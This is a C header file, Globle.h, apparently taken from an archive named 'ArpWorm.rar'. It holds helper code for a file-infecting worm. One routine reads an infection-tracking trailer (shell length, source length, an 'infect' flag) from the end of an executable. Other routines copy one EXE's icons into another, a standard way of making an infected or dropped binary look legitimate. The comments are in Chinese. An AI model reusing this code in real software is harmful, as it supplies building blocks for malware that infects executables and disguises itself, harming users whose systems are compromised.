www.pudn.com > ArpWorm.rar > Globle.h

struct MODIFY_DATA { 
	unsigned int iMyLength; // 常量(定位自身) 
	unsigned int iShellLength;      //文件长度(自身) 
	unsigned int iSourcLength; 
	BOOL bInfect; 
} modify_data; //这个是jiaozhu的测试文件xxx.exe的大小，你还还原成0x123456578 
 
void  ReadExeFlag(char *strExeName, MODIFY_DATA *mody_data) 
{ 
	struct _stat ST;  
	_stat(strExeName, &ST); 
	 
	 
	FILE* rwFile; 
	if((rwFile=fopen(strExeName,"rb+"))==NULL)  
	{  
		return;  
	} 
	fseek(rwFile,ST.st_size-16,0); 
	fread(mody_data,16,1,rwFile); 
	fclose(rwFile); 
} 
/************************************************************** 
* 函数：SetRes 
* 参数：LPSTR szImageName --要资源更新的程序名字 
LPSTR szResType -- 更新的资源类型    
LPSTR szResName -- 更新的资源名称 
LPVOID pData -- 可执行文件的资源数据的指针 
DWORD cbData -- 指定lpData中的资源数据数据大小  
* 功能：该函数用来更新exe中的资源 
**************************************************************/ 
int SetRes(LPSTR szImageName,  
		   LPSTR szResType, 
		   LPSTR szResName, 
		   LPVOID pData, 
		   DWORD cbData) 
{ 
	HANDLE hExe = BeginUpdateResource(szImageName,0); 
	if(hExe==NULL) throw("BeginUpdateResource"); 
	int res = UpdateResource( 
		hExe, 
		szResType, 
		szResName, 
		MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), 
		pData, 
		cbData); 
	if (!res) throw("UpdateResource"); 
	if (!EndUpdateResource(hExe, 0)) throw("EndUpdateResource"); 
	return 1; 
} 
  
/************************************************************** 
* 函数：EnumIconProc 
* 参数：HMODULE hModule --module 句柄 
LPCTSTR lpszType --资源类型 
LPTSTR lpszName --资源名称 
LONG   lParam --请求定义好的参数  
* 功能：该函数枚举源Exe中的所有图标，设置到另一个exe中去 
**************************************************************/ 
BOOL CALLBACK EnumIconProc(HMODULE hModule, 
						   LPCTSTR lpszType, 
						   LPTSTR lpszName, 
						   LONG lParam) 
{ 
	HRSRC hRes = FindResource(hModule, lpszName, RT_ICON); 
	if (hRes == NULL) throw("Could not locate icon resource."); 
	// Load the icon into global memory.  
	HGLOBAL hResLoad = LoadResource(hModule, hRes); 
	if (hResLoad == NULL) throw("Could not load icon.");  
	// Lock the dialog box into global memory.  
	LPVOID pData = LockResource(hResLoad); 
	if (pData == NULL) throw("Could not lock Icon.");  
	DWORD cbData = SizeofResource(hModule, hRes); 
	if (lParam) 
	{ 
		SetRes((LPSTR)lParam, 
			RT_ICON, 
			lpszName, 
			pData, 
			cbData 
			); 
	} 
	return TRUE; 
}  
 
/************************************************************** 
* 函数：SetExeIcon 
* 参数：LPSTR szLoadFrom--图标提取文件 
LPSTR szSetTo --待更新图标文件 
* 功能：该函数把一个Exe中的图标转入到另一个exe中去 
**************************************************************/ 
int SetExeIcon(LPSTR szLoadFrom, LPSTR szSetTo) 
{ 
	HMODULE hExe = LoadLibrary(szLoadFrom);//把EXE当二进制资源加载 
	if (hExe == NULL) throw("Could not load icon exe.");  
	EnumResourceNames( 
		hExe,    
		RT_ICON,      
		(ENUMRESNAMEPROC) EnumIconProc,  
		(LONG)szSetTo    
		); 
	FreeLibrary(hExe); 
	return 1; 
}